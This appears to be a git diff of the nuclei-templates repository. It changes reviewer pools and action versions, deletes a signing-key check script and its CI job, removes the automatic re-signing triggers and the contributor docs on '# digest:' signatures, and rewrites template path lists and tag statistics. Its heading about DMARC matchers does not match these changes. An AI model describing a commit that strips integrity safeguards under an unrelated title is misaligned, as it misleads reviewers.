Update DMARC validation matchers in YAML config

.github/auto_assign.yml

@@ -7,6 +7,7 @@ addAssignees: false
 # A list of reviewers to be added to pull requests (GitHub user name)
 reviewers:
   - ritikchaddha
+  - pussycat0x
   - DhiyaneshGeek
 
 # A number of reviewers added to the pull request
@@ -15,6 +16,7 @@ numberOfReviewers: 1
 
  # A list of assignees, overrides reviewers if set
 assignees:
+  - pussycat0x
   - ritikchaddha
   - DhiyaneshGeek
 

.github/scripts/assign_tasks.py

@@ -7,8 +7,8 @@ password = sys.argv[3]
 
 repo_owner = "projectdiscovery"
 repo_name = "nuclei-templates"
-pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
-issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
+pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
+issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
 
 headers = {'Authorization': f'Bearer {password}',
         'Accept': 'application/vnd.github+json',

.github/scripts/check-signing-key.py

@@ -1,101 +0,0 @@
-#!/usr/bin/env python3
-"""Fail if a code or javascript template is signed with a non-ProjectDiscovery key.
-
-Nuclei refuses to run code and javascript templates whose signature does not
-verify, and it also refuses to *re-sign* one that already carries a signature:
-
-    could not sign 'x.yaml': cause="re-signing code templates are not allowed
-    for security reasons."
-
-So a template contributed with the author's own signing key can never be picked
-up by the signing workflow. It stays permanently unrunnable, and because http
-and network templates only warn, the breakage is easy to miss. CVE-2025-71260
-sat broken from March 2026 until it was found by hand.
-
-The fix is always the same: drop the `# digest:` line so the signing workflow
-can apply the official key on the next push to main. This check catches it at
-review time instead.
-
-A template with no digest at all passes — that is the expected state for a new
-or freshly stripped template awaiting signing.
-"""
-
-import argparse
-import pathlib
-import re
-import subprocess
-import sys
-
-PD_KEY = "922c64590222798bb761d5b6d8e72950"
-ROOTS = ("code", "javascript")
-DIGEST = re.compile(r"^# digest:\s*(?P<sig>[0-9a-f]+):(?P<fp>[0-9a-f]+)\s*$")
-
-
-def fingerprint(path):
-    """Return the signing-key fingerprint of a template, or None when unsigned."""
-    try:
-        for line in reversed(path.read_text(encoding="utf-8", errors="replace").splitlines()):
-            if not line.strip():
-                continue
-            m = DIGEST.match(line)
-            return m.group("fp") if m else None
-    except OSError as e:
-        print(f"::warning file={path}::could not read: {e}")
-    return None
-
-
-def repo_root(explicit=None):
-    """Resolve the repo to scan: an explicit path, else git's toplevel, else cwd."""
-    if explicit:
-        return pathlib.Path(explicit).resolve()
-    try:
-        out = subprocess.run(["git", "rev-parse", "--show-toplevel"],
-                             capture_output=True, text=True, check=True).stdout.strip()
-        if out:
-            return pathlib.Path(out)
-    except (OSError, subprocess.CalledProcessError):
-        pass
-    return pathlib.Path.cwd()
-
-
-def main():
-    ap = argparse.ArgumentParser(description=__doc__)
-    ap.add_argument("--root", help="repo root to scan (default: git toplevel, else cwd)")
-    args = ap.parse_args()
-
-    repo = repo_root(args.root)
-    if not any((repo / r).is_dir() for r in ROOTS):
-        print(f"::error::no {' or '.join(ROOTS)} directory under {repo} — wrong root?")
-        return 1
-
-    offenders, checked = [], 0
-
-    for root in ROOTS:
-        for path in sorted((repo / root).rglob("*.yaml")):
-            checked += 1
-            fp = fingerprint(path)
-            if fp is not None and fp != PD_KEY:
-                rel = path.relative_to(repo)
-                offenders.append((rel, fp))
-                print(f"::error file={rel}::signed with {fp}, expected the "
-                      f"ProjectDiscovery key {PD_KEY}. Remove the '# digest:' line "
-                      f"so the signing workflow can re-sign this template.")
-
-    if offenders:
-        print(f"\n{len(offenders)} of {checked} template(s) carry a foreign signing key:\n")
-        for rel, fp in offenders:
-            print(f"  {rel}\n    key: {fp}")
-        print("\nNuclei will refuse to run these, and the signing workflow cannot "
-              "repair them while the signature is present. Delete the '# digest:' "
-              "line from each file:\n")
-        print("  sed -i '/^# digest:/d' \\\n    " +
-              " \\\n    ".join(str(rel) for rel, _ in offenders))
-        return 1
-
-    print(f"OK — all {checked} code/javascript templates are unsigned or signed "
-          f"with the ProjectDiscovery key.")
-    return 0
-
-
-if __name__ == "__main__":
-    sys.exit(main())

.github/workflows/autoassign.yml

@@ -29,10 +29,10 @@ jobs:
             // ======= CONFIG: put your user pools here =======
             // Usernames must be GitHub logins and collaborators on this repo.
             const ISSUE_ASSIGNEES = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
             ];
             const REVIEW_POOL = [
-              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
             ];
             const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
             // ================================================

.github/workflows/cve-enhancement.yml

@@ -16,12 +16,12 @@ jobs:
       contents: write
 
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v4
         with:
           fetch-depth: 0
 
       - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
         with:
           python-version: '3.11'
 

.github/workflows/cve2json.yml

@@ -13,7 +13,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/go@v1
         with:
           go-version: 'stable'

.github/workflows/epss-update.yml

@@ -12,10 +12,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5
 
       - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
         with:
           python-version: '3.11'
 

.github/workflows/kev-update.yml

@@ -12,10 +12,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5
 
       - name: Setup Python
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
         with:
           python-version: '3.11'
 

.github/workflows/new-templates.yml

@@ -18,7 +18,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
         with:
           fetch-depth: 0
       - name: Generate new addition list

.github/workflows/readme-update.yml

@@ -13,8 +13,8 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v7
-      - uses: actions/setup-python@v7
+      - uses: actions/checkout@v5
+      - uses: actions/setup-python@v6
         with:
           python-version: "3.8"
       - run: python .github/scripts/update-readme.py

.github/workflows/template-checksum.yml

@@ -1,21 +1,11 @@
 name: 📝 Template Checksum
 
 on:
-  # For YAML changes: wait for signing to complete first, then checksum
-  workflow_run:
-    workflows:
-      - "☑️ Template Sign"
-    types:
-      - completed
-    branches:
-      - main
-  # For non-YAML changes: trigger directly (signing doesn't run for these)
   push:
     branches:
       - main
-    paths-ignore:
+    paths:
       - '**.yaml'
-      - 'templates-checksum.txt'
   workflow_dispatch:
 
 env:
@@ -24,14 +14,9 @@ env:
 jobs:
   checksum:
     runs-on: ubuntu-latest
-    if: >
-      github.repository == 'projectdiscovery/nuclei-templates' && (
-        github.event_name == 'workflow_dispatch' ||
-        github.event_name == 'push' ||
-        github.event.workflow_run.conclusion == 'success'
-      )
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/generate/checksum@v1
         with:
           templates-directory: '${{ github.workspace }}'

.github/workflows/template-sign.yml

@@ -6,16 +6,6 @@ on:
       - main
     paths:
       - '**.yaml'
-  # The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
-  # every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
-  # fire the push trigger above. workflow_run fires regardless of the actor, so
-  # signatures are restored as soon as those jobs finish.
-  workflow_run:
-    workflows:
-      - "📊 EPSS Score Update"
-      - "📋 KEV & vKEV Tag Update"
-    types:
-      - completed
   workflow_dispatch:
 
 jobs:
@@ -24,10 +14,10 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
         with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN}}'
       - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
         env:
           NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -48,11 +38,18 @@ jobs:
     runs-on: windows-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
-
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      
+      - name: Set up Go
+        uses: actions/setup-go@v6
         with:
-          install-only: true
+          go-version: '1.24'
+          
+      - name: Install Nuclei
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+          nuclei -version
+        shell: bash
           
       - name: Sign Windows Templates
         run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"

.github/workflows/templateman.yml

@@ -8,7 +8,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/templateman@v1
         with:
           token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'

.github/workflows/templates-stats.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
         with: 
           fetch-depth: 0
       - uses: projectdiscovery/actions/templates/stats@v1

.github/workflows/tests.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
+      - uses: actions/checkout@v5
       - uses: karancode/[email protected]
         with:
           yamllint_config_filepath: .yamllint
@@ -23,28 +23,13 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v7
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v5
+      - uses: projectdiscovery/actions/setup/nuclei@v1
         with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
       - name: Validate templates
         run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
 
-  signing-key-check:
-    name: Signing Key Check
-    needs: lint
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - uses: actions/checkout@v7
-      - uses: actions/setup-python@v7
-        with:
-          python-version: '3.11'
-      # A code/javascript template signed with a contributor's own key can never
-      # be re-signed by the signing workflow, so it stays permanently unrunnable.
-      - name: Check templates carry the ProjectDiscovery signing key
-        run: python .github/scripts/check-signing-key.py
-
   weak-matcher-checks:
     needs: lint
     runs-on: ubuntu-latest
@@ -55,8 +40,8 @@ jobs:
     env:
       HONEYPOT_URL: 'http://honey.scanme.sh'
     steps:
-      - uses: actions/checkout@v7
-      - uses: dorny/paths-filter@v4
+      - uses: actions/checkout@v5
+      - uses: dorny/paths-filter@v3
         id: filter
         with:
           list-files: shell
@@ -67,9 +52,9 @@ jobs:
               - '!.github/**'
             changed:
               - added|modified: *templates
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: projectdiscovery/actions/setup/nuclei@v1
         with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
       - run: bash weak-matcher-checks.sh
         id: check
         if: steps.filter.outputs.changed == 'true'

.github/workflows/wordpress-plugins-update.yml

@@ -10,10 +10,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Check out repository code
-        uses: actions/checkout@v7
+        uses: actions/checkout@v5
 
       - name: Install Python3
-        uses: actions/setup-python@v7
+        uses: actions/setup-python@v6
         with:
           python-version: "3.10"
 

.gitignore

@@ -0,0 +1,8 @@
+.idea/
+.DS_Store
+local/
+.checksum
+.new-additions
+*.txt
+/.claude
+CLAUDE.md

.new-additions

@@ -1,100 +1,56 @@
-code/cves/2026/CVE-2026-123158.yaml
-headless/cves/2020/CVE-2020-24900.yaml
-headless/cves/2020/CVE-2020-24901.yaml
-http/cves/2010/CVE-2010-1428.yaml
-http/cves/2023/CVE-2023-31719.yaml
-http/cves/2023/CVE-2023-54335.yaml
-http/cves/2024/CVE-2024-56829.yaml
-http/cves/2025/CVE-2025-49387.yaml
-http/cves/2026/CVE-2026-102764.yaml
-http/cves/2026/CVE-2026-102782.yaml
-http/cves/2026/CVE-2026-102878.yaml
-http/cves/2026/CVE-2026-104736.yaml
-http/cves/2026/CVE-2026-105134.yaml
-http/cves/2026/CVE-2026-10525.yaml
-http/cves/2026/CVE-2026-105740.yaml
-http/cves/2026/CVE-2026-108123.yaml
-http/cves/2026/CVE-2026-109619.yaml
-http/cves/2026/CVE-2026-110447.yaml
-http/cves/2026/CVE-2026-112866.yaml
-http/cves/2026/CVE-2026-114509.yaml
-http/cves/2026/CVE-2026-115574.yaml
-http/cves/2026/CVE-2026-11565.yaml
-http/cves/2026/CVE-2026-115886.yaml
-http/cves/2026/CVE-2026-116006.yaml
-http/cves/2026/CVE-2026-116067.yaml
-http/cves/2026/CVE-2026-116070.yaml
-http/cves/2026/CVE-2026-116167.yaml
-http/cves/2026/CVE-2026-116205.yaml
-http/cves/2026/CVE-2026-116366.yaml
-http/cves/2026/CVE-2026-116485.yaml
-http/cves/2026/CVE-2026-116548.yaml
-http/cves/2026/CVE-2026-116606.yaml
-http/cves/2026/CVE-2026-116690.yaml
-http/cves/2026/CVE-2026-116748.yaml
-http/cves/2026/CVE-2026-116817.yaml
-http/cves/2026/CVE-2026-118066.yaml
-http/cves/2026/CVE-2026-118267.yaml
-http/cves/2026/CVE-2026-118523.yaml
-http/cves/2026/CVE-2026-118539.yaml
-http/cves/2026/CVE-2026-119495.yaml
-http/cves/2026/CVE-2026-120201.yaml
-http/cves/2026/CVE-2026-120442.yaml
-http/cves/2026/CVE-2026-120446.yaml
-http/cves/2026/CVE-2026-120597.yaml
-http/cves/2026/CVE-2026-12583.yaml
-http/cves/2026/CVE-2026-12592.yaml
-http/cves/2026/CVE-2026-12970.yaml
-http/cves/2026/CVE-2026-14554.yaml
-http/cves/2026/CVE-2026-16062.yaml
-http/cves/2026/CVE-2026-16065.yaml
-http/cves/2026/CVE-2026-16535.yaml
-http/cves/2026/CVE-2026-16959.yaml
-http/cves/2026/CVE-2026-17540.yaml
-http/cves/2026/CVE-2026-18051.yaml
-http/cves/2026/CVE-2026-18110.yaml
-http/cves/2026/CVE-2026-22777.yaml
-http/cves/2026/CVE-2026-24898.yaml
-http/cves/2026/CVE-2026-34151.yaml
-http/cves/2026/CVE-2026-48048.yaml
-http/cves/2026/CVE-2026-53468.yaml
-http/cves/2026/CVE-2026-54419.yaml
-http/cves/2026/CVE-2026-55864.yaml
-http/cves/2026/CVE-2026-56062.yaml
-http/cves/2026/CVE-2026-59707.yaml
-http/cves/2026/CVE-2026-75128.yaml
-http/cves/2026/CVE-2026-75650.yaml
-http/cves/2026/CVE-2026-7873.yaml
-http/cves/2026/CVE-2026-82901.yaml
-http/cves/2026/CVE-2026-85595.yaml
-http/cves/2026/CVE-2026-88804.yaml
-http/cves/2026/CVE-2026-89026.yaml
-http/cves/2026/CVE-2026-89079.yaml
-http/cves/2026/CVE-2026-9062.yaml
-http/cves/2026/CVE-2026-93485.yaml
-http/cves/2026/CVE-2026-96652.yaml
-http/cves/2026/CVE-2026-96655.yaml
-http/cves/2026/CVE-2026-97229.yaml
-http/cves/2026/CVE-2026-97359.yaml
-http/cves/2026/CVE-2026-9848.yaml
-http/default-logins/bwapp/bwapp-default-login.yaml
-http/default-logins/jboss/jboss-admin-console-default-login.yaml
-http/exposed-panels/actual-budget-panel.yaml
-http/exposed-panels/coolify-panel.yaml
-http/exposed-panels/danfoss-ak-sm-800a-panel.yaml
-http/exposed-panels/infisical-panel.yaml
-http/exposed-panels/jboss/jboss-admin-console-panel.yaml
-http/exposed-panels/pocket-id-panel.yaml
-http/exposed-panels/tailscale-panel.yaml
-http/exposures/apis/prefect-api-exposure.yaml
-http/exposures/configs/lighter-config.yaml
-http/javascript/cves/2026/CVE-2026-111497.yaml
-http/misconfiguration/dashdot-info-exposure.yaml
-http/misconfiguration/dvwa-setup.yaml
-http/misconfiguration/meilisearch-unauth.yaml
-http/technologies/opencloud-detect.yaml
-http/vulnerabilities/other/diafan-cms-xss.yaml
-http/vulnerabilities/other/nuuo-unauth-rce.yaml
-http/vulnerabilities/wordpress/elementor-rest-nonce-bypass.yaml
-http/vulnerabilities/wordpress/jetpack-reader-xss.yaml
-websocket/cves/2026/CVE-2026-102489.yaml
+dns/acme-challenge-detect.yaml
+http/cves/2018/CVE-2018-7765.yaml
+http/cves/2019/CVE-2019-14206.yaml
+http/cves/2020/CVE-2020-19363.yaml
+http/cves/2020/CVE-2020-9039.yaml
+http/cves/2021/CVE-2021-37598.yaml
+http/cves/2023/CVE-2023-33960.yaml
+http/cves/2023/CVE-2023-52163.yaml
+http/cves/2024/CVE-2024-29137.yaml
+http/cves/2024/CVE-2024-56159.yaml
+http/cves/2025/CVE-2025-25570.yaml
+http/cves/2025/CVE-2025-4210.yaml
+http/cves/2025/CVE-2025-46349.yaml
+http/cves/2025/CVE-2025-46549.yaml
+http/cves/2025/CVE-2025-46550.yaml
+http/cves/2026/CVE-2026-21858.yaml
+http/exposed-panels/dagster-webserver-ui-exposure.yaml
+http/exposed-panels/sanity-studio-panel.yaml
+http/exposures/apis/frigate-api-exposure.yaml
+http/exposures/backups/batflat-sqlite-exposure.yaml
+http/exposures/configs/netlify-headers-config-exposure.yaml
+http/exposures/configs/selenium-grid-exposure.yaml
+http/exposures/files/gcloudignore-file.yaml
+http/exposures/files/gitpod-dockerfile-exposure.yaml
+http/exposures/files/joe-deadjoe-file-exposure.yaml
+http/exposures/files/postgres-history-exposure.yaml
+http/exposures/files/vscode-mcp-json.yaml
+http/exposures/logs/cacti-log-exposure.yaml
+http/exposures/logs/magento-debug-log-exposure.yaml
+http/exposures/logs/opencart-error-log.yaml
+http/exposures/tokens/azure/azure-instrumentation-key-exposure.yaml
+http/misconfiguration/apache-spark-env.yaml
+http/misconfiguration/cacti-fpd.yaml
+http/misconfiguration/google-calendar-exposure.yaml
+http/misconfiguration/installer/fork-installer.yaml
+http/misconfiguration/intermapper-exposure.yaml
+http/misconfiguration/lightstreamer-dashboard-exposure.yaml
+http/misconfiguration/mybb-full-path-disclosure.yaml
+http/misconfiguration/ollama-improper-authorization.yaml
+http/misconfiguration/stylelint-ignore-disclosure.yaml
+http/misconfiguration/wordpress/wp-add-search-to-menu-fpd.yaml
+http/misconfiguration/wordpress/wp-advanced-iframe-fpd.yaml
+http/misconfiguration/wordpress/wp-advanced-responsive-video-embedder-fpd.yaml
+http/misconfiguration/wordpress/wp-ajax-load-more-anything-fpd.yaml
+http/misconfiguration/wordpress/wp-ajax-search-lite-fpd.yaml
+http/misconfiguration/wordpress/wp-call-now-button-fpd.yaml
+http/misconfiguration/wordpress/wp-duplicate-page-fpd.yaml
+http/misconfiguration/wordpress/wp-hostinger-fpd.yaml
+http/misconfiguration/wordpress/wp-really-simple-captcha-fpd.yaml
+http/misconfiguration/wordpress/wp-updraftplus-fpd.yaml
+http/misconfiguration/wordpress/wp-w3-total-cache-fpd.yaml
+http/misconfiguration/wordpress/wp-wpforms-lite-fpd.yaml
+http/misconfiguration/wordpress/wp-wpfront-scroll-top-fpd.yaml
+http/technologies/hotjar-rum-detect.yaml
+http/technologies/matomo-rum-detect.yaml
+http/technologies/openreplay-rum-detect.yaml

.nuclei-ignore

@@ -38,5 +38,3 @@ files:
   - javascript/enumeration/minecraft-enum.yaml
   - http/miscellaneous/crypto-address-detect.yaml
   - http/vulnerabilities/wp-functions-php-disclosure.yaml
-  - dns/acme-challenge-detect.yaml
-  - aaaa-fingerprint.yaml

CONTRIBUTING.md

@@ -8,7 +8,6 @@ This documentation contains a set of guidelines to help you during the contribut
 ## **How Can I Contribute?**
 
 - [Submitting Nuclei Templates](#Submitting-Nuclei-Templates)
-- [Template Signing and the # digest Line](#template-signing-and-the-digest-line)
 - [Reporting False Negative Template](#Reporting-False-Positive-Template)
 - [Reporting False Positive Template](#Reporting-False-Positive-Template)
 - [Enhancing existing templates](#Enhancing-existing-templates)
@@ -39,7 +38,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - Make sure to add more than one matcher to prevent false positive results. Avoid short word that could be encountered anywhere
 - If possible submit the vulnerable environment based on docker-compose. For example: https://github.com/vulhub/vulhub.
 - We only accept templates with complete P.O.Cs instead of just detection based on version
-- Keep existing `# digest:` lines intact when updating templates — the repository signing workflow will automatically regenerate signatures upon merge
 
 **Don’t**
 
@@ -47,7 +45,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible
-- Don't delete or manually edit the `# digest:` line, and do not sign templates with personal keys
 
 **Best Practices**
 
@@ -61,19 +58,6 @@ Along with the P.O.C following are the required fields in the info section for s
 - We should only upload a web shell as a last resort to validate the vulnerability, and if we do upload a file, make sure the file name is random(`{{randstr}}`)
 - Do not include code templates for exploits that can be written using HTTP or JavaScript. We avoid adding additional exploit code to the project unless there is an exception.
 
-### **Template Signing and the `# digest:` Line**
-
-Official templates in this repository include a trailing `# digest:` line (for example, `# digest: 4a0a...:922c...`). This is an automated cryptographic signature and public-key fingerprint used by Nuclei to verify template integrity and authenticity.
-
-- **What it is**: It is an automated signature marker generated by ProjectDiscovery, not a comment or obsolete metadata.
-- **Do not edit or delete it**: When updating existing templates, leave the existing `# digest:` line as-is. Do not hand-edit or remove it.
-- **Automated Signing**: When a pull request is merged into `main`, the automated **Template Sign** workflow automatically calculates and updates the signature for all modified templates using ProjectDiscovery's official signing key.
-- **New Templates**: New templates should be submitted without any `# digest:` line. They will be signed automatically upon merge.
-- **Do not sign with personal keys**: Never sign contributed templates with your own private key. Specifically, `code` and `javascript` templates signed with non-ProjectDiscovery keys will fail CI validation (`Signing Key Check`) because Nuclei restricts re-signing code protocol templates for security reasons.
-- **Signature verification at scan time**:
-  - For standard protocols (`http`, `dns`, `network`, etc.), Nuclei verifies signatures against trusted keys and displays a warning if a template is unsigned or modified.
-  - For `code` and `javascript` protocols, valid signatures from trusted keys are mandatory for security. Nuclei will refuse to execute untrusted or improperly signed code templates by default.
-
 ### **Submitting a PR**
 
 **Fork the Project**

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":7178},{"name":"cve","count":4605},{"name":"discovery","count":3887},{"name":"vkev","count":2006},{"name":"wordpress","count":1750},{"name":"panel","count":1637},{"name":"wp-plugin","count":1555},{"name":"exposure","count":1513},{"name":"xss","count":1429},{"name":"tech","count":1219},{"name":"osint","count":1131},{"name":"rce","count":1078},{"name":"detect","count":1076},{"name":"misconfig","count":1010},{"name":"wp","count":966},{"name":"lfi","count":898},{"name":"unauth","count":809},{"name":"devops","count":755},{"name":"cloud","count":720},{"name":"intrusive","count":639},{"name":"cve2024","count":628},{"name":"sqli","count":617},{"name":"edb","count":597},{"name":"wpscan","count":596},{"name":"cve2021","count":592},{"name":"authenticated","count":576},{"name":"kev","count":573},{"name":"cve2022","count":571},{"name":"cve2023","count":570},{"name":"login","count":562},{"name":"packetstorm","count":551},{"name":"cve2026","count":482},{"name":"cve2025","count":435},{"name":"network","count":404},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"oast","count":388},{"name":"default-login","count":348},{"name":"auth-bypass","count":337},{"name":"config","count":331},{"name":"cve2020","count":328},{"name":"apache","count":292},{"name":"tcp","count":279},{"name":"microsoft","count":260},{"name":"iot","count":249},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":227},{"name":"gcloud","count":226},{"name":"cve2019","count":226},{"name":"","count":219},{"name":"ssrf","count":215},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":203},{"name":"aws","count":199},{"name":"time-based-sqli","count":199},{"name":"code","count":193},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":176},{"name":"ai","count":170},{"name":"disclosure","count":168},{"name":"security","count":166},{"name":"joomla","count":164},{"name":"keys","count":159},{"name":"cms","count":156},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":146},{"name":"file-upload","count":139},{"name":"ftp","count":138},{"name":"audit","count":136},{"name":"files","count":136},{"name":"cve2017","count":133},{"name":"kubernetes","count":122},{"name":"js","count":119},{"name":"cve2010","count":116},{"name":"passive","count":113},{"name":"fpd","count":108},{"name":"oss","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":99},{"name":"windows-audit","count":95},{"name":"privesc","count":93},{"name":"traversal","count":93},{"name":"oracle","count":92},{"name":"enum","count":91},{"name":"cisco","count":90},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":84},{"name":"deserialization","count":82},{"name":"fileupload","count":80},{"name":"ics","count":78},{"name":"adobe","count":77},{"name":"k8s","count":77},{"name":"detection","count":73},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"oob","count":67},{"name":"cve2015","count":67},{"name":"php","count":67},{"name":"logs","count":67},{"name":"atlassian","count":66},{"name":"api","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"vpn","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"c2","count":63},{"name":"dast","count":59},{"name":"ssh","count":59},{"name":"injection","count":55},{"name":"cve2014","count":55},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"llm","count":54},{"name":"fortinet","count":54},{"name":"sap","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"plugin","count":52},{"name":"ibm","count":52},{"name":"generic","count":50},{"name":"ecommerce","count":50},{"name":"tenable","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"xxe","count":49},{"name":"dns","count":48},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"jndi","count":46},{"name":"postgresql","count":46},{"name":"springboot","count":46},{"name":"aliyun","count":45},{"name":"ssl","count":45},{"name":"dashboard","count":45},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"tls","count":43},{"name":"scada","count":43},{"name":"bank","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"woocommerce","count":40},{"name":"jira","count":40},{"name":"dlink","count":40},{"name":"gitlab","count":39},{"name":"devsecops","count":39},{"name":"backup","countLine truncated
+{"tags":[{"name":"vuln","count":6552},{"name":"cve","count":3799},{"name":"discovery","count":3278},{"name":"vkev","count":1579},{"name":"wordpress","count":1434},{"name":"panel","count":1381},{"name":"xss","count":1324},{"name":"wp-plugin","count":1256},{"name":"exposure","count":1253},{"name":"rce","count":874},{"name":"tech","count":850},{"name":"osint","count":847},{"name":"misconfig","count":843},{"name":"lfi","count":810},{"name":"wp","count":758},{"name":"devops","count":748},{"name":"cloud","count":702},{"name":"detect","count":635},{"name":"edb","count":598},{"name":"wpscan","count":587},{"name":"cve2021","count":575},{"name":"cve2022","count":556},{"name":"packetstorm","count":552},{"name":"cve2024","count":540},{"name":"cve2023","count":535},{"name":"sqli","count":518},{"name":"unauth","count":511},{"name":"intrusive","count":494},{"name":"login","count":486},{"name":"authenticated","count":479},{"name":"kev","count":466},{"name":"file","count":389},{"name":"network","count":373},{"name":"oast","count":323},{"name":"cve2020","count":314},{"name":"default-login","count":295},{"name":"cve2025","count":293},{"name":"config","count":286},{"name":"tcp","count":269},{"name":"apache","count":262},{"name":"microsoft","count":252},{"name":"token-spray","count":247},{"name":"auth-bypass","count":236},{"name":"top-200","count":235},{"name":"gcp","count":233},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"gcloud","count":225},{"name":"cve2019","count":218},{"name":"token","count":217},{"name":"malware","count":214},{"name":"azure","count":210},{"name":"","count":208},{"name":"cve2018","count":202},{"name":"iot","count":196},{"name":"aws","count":192},{"name":"csp-bypass","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"code","count":185},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":168},{"name":"ssrf","count":166},{"name":"security","count":162},{"name":"keys","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"linux","count":137},{"name":"ftp","count":135},{"name":"router","count":135},{"name":"disclosure","count":130},{"name":"cve2017","count":129},{"name":"files","count":129},{"name":"cms","count":128},{"name":"audit","count":122},{"name":"phishing","count":119},{"name":"kubernetes","count":117},{"name":"cve2010","count":115},{"nam